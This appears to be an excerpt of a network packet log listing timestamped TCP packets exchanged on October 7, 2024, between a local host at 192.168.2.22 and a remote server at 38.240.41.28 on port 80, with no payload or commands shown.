Oct 7, 2024 07:15:01.548566103 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548583031 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548656940 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548685074 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548702955 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548734903 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548768044 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548799992 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548808098 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548824072 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548856020 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548871040 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549103975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549122095 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549139023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549151897 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549166918 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549180031 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549194098 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549210072 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549225092 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549237967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549254894 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549278021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549304962 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549474001 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549489975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549506903 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549518108 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549550056 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549567938 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549664974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549680948 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549729109 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549793005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549808025 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549823999 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549845934 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549854040 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549885035 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.549969912 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.549985886 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.550000906 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.550021887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.550029993 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.550045967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.550057888 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.632996082 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633043051 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633076906 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633151054 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633208990 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633246899 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633269072 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633302927 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633337021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633358002 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633392096 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633425951 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633460045 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633481979 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633512020 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633574009 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633589029 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633620977 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633656025 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633680105 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633711100 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633745909 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633788109 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633802891 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633835077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633869886 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633905888 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.633945942 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.633980036 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634000063 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634032011 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634071112 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634119034 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634145021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634179115 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634213924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634275913 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634290934 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634324074 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634356976 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634391069 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634412050 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634460926 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634495020 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634529114 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634552002 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634608984 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634638071 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634682894 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634715080 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634748936 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634794950 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634821892 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634855032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634891033 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634912014 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.634943962 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.634996891 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635030031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635051012 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635082960 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635114908 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635149002 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635170937 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635206938 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635322094 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635355949 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635422945 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635473967 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635545015 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635577917 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635615110 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635680914 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635735035 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635768890 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635801077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635819912 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635858059 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635910034 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.635958910 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.635981083 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636014938 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636048079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636070013 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636105061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636156082 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636250973 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636281967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636316061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636337996 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636370897 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636404037 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636436939 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636456966 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636487961 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636532068 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636547089 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636599064 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636631966 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636645079 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636674881 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636708021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636732101 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636782885 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636817932 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636837006 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636869907 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636904001 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.636938095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.636974096 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637033939 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637110949 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637149096 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637185097 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637209892 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637510061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637543917 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637577057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637598991 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637650013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637682915 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637716055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637737036 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637758970 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637810946 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637824059 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637839079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637852907 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637870073 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637886047 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637897968 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637912989 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637923002 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.637937069 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637953043 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637970924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.637980938 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.638041019 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.638108969 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638314962 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638330936 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638345957 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638356924 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.638370991 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638386965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638398886 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.638411999 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638423920 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.638437033 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.638494015 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.746764898 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.746838093 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.746875048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.746946096 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.746980906 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747037888 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747086048 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747108936 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747144938 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747193098 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747220993 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747282028 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747335911 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747353077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747420073 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747456074 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747481108 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747510910 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747545004 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747567892 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747622967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747656107 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747682095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747714996 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747750044 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747797012 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747823000 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747838020 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747853994 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747869968 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747893095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747905016 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747920036 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747936964 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747953892 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.747963905 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747981071 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.747996092 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748007059 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748022079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748032093 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748059988 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748092890 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748100996 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748114109 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748130083 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748146057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748162985 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748176098 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748189926 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748209000 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748224974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748240948 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748256922 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748269081 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748282909 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748292923 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748320103 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748334885 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748351097 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748362064 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748394966 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748469114 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748483896 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748498917 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748513937 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748528957 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748564959 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748665094 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748681068 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748697042 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748718023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748724937 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748739004 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748753071 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748768091 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748805046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.748815060 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748884916 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748910904 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.748938084 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749011040 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749027014 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749042988 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749056101 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749072075 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749083996 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749245882 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749263048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749279976 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749290943 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749305010 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749320030 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749340057 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749355078 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749377012 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749393940 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749407053 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749551058 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749567032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749583006 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749599934 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749824047 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749840021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749855995 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749946117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.749979019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.749995947 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750011921 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750030994 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750174046 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750200033 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750216007 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750231981 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750247002 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750263929 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750278950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750296116 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750312090 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750540018 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750555992 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750572920 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750734091 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750802040 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750818014 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750919104 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750936985 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750952959 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.750969887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751091957 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751107931 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751135111 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751151085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751166105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751188993 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751205921 CEST	80	49174	38.240.41.28	192.168.2.22
